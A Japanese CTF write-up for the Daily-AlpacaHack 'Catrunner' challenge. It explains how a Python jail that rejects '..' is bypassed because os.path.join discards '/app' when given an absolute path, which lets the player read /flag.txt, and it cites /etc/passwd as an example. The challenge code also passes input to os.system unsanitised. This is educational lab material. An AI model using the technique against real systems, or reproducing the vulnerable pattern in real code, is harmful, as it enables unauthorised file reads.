Post

FEAT:🚩 Daily-AlpacaHack 「Catrunner」Easy

Pythonの仕様を利用したPath Traversal

FEAT:🚩 Daily-AlpacaHack 「Catrunner」Easy

20260525-daily_alpaca-misc-Catrunner

  • Category: misc
  • Description: Path Traversal
  • Tech Stack: Python
  • Flag: {*** REDACTED ***}

階層構造

1
2
3
4
5
6
7
8
.
├── compose.yaml
├── Dockerfile
├── flag.txt
├── hello.txt
└── jail.py

1 directory, 5 files

Solution Path

Dockerfile から,flag.txt が存在するディレクトリはルートであることが分かりました.

Dockerfile

1
2
3
4
#...
COPY jail.py hello.txt ./
COPY flag.txt /
#...

このプログラムは,入力されたパスのファイルを cat する機能を持ちます. また,パストラバーサルを防ぐため,1つ上の階層を示す .. が含まれるパスの場合に弾きます.

jail.py

1
2
3
4
5
6
7
8
9
import os

filename = input("Example: hello.txt\n$ cat /app/")
assert ".." not in filename, "Path traversal is not allowed"
path = os.path.join("/app", filename)
if os.path.isfile(path):
    os.system(f"cat {path}")
else:
    print("File not found")

os.path.join の仕様を利用した PathTraversal

os.path.join("/app", "/etc/passwd") が実行されるとします. Pythonの仕様上,2つ目の引数が絶対パスである場合,それ以前のパス (/app) は破棄され,結果は /etc/passwd になります. これにより,.. を一切使わずにパストラバーサルが成立します.

1
2
3
4
$ nc <ip> <port>
Example: hello.txt
$ cat /app//flag.txt 
{*** REDACTED ***}

Post-Mortem & Dead ends

  • os.path.joinの仕様による絶対パス指定でのパストラバーサル: 2つ目の引数が絶対パスである場合,それ以前のパスは破棄され,結果は2つ目の引数のパスになります.

References

This post is licensed under CC BY 4.0 by the author.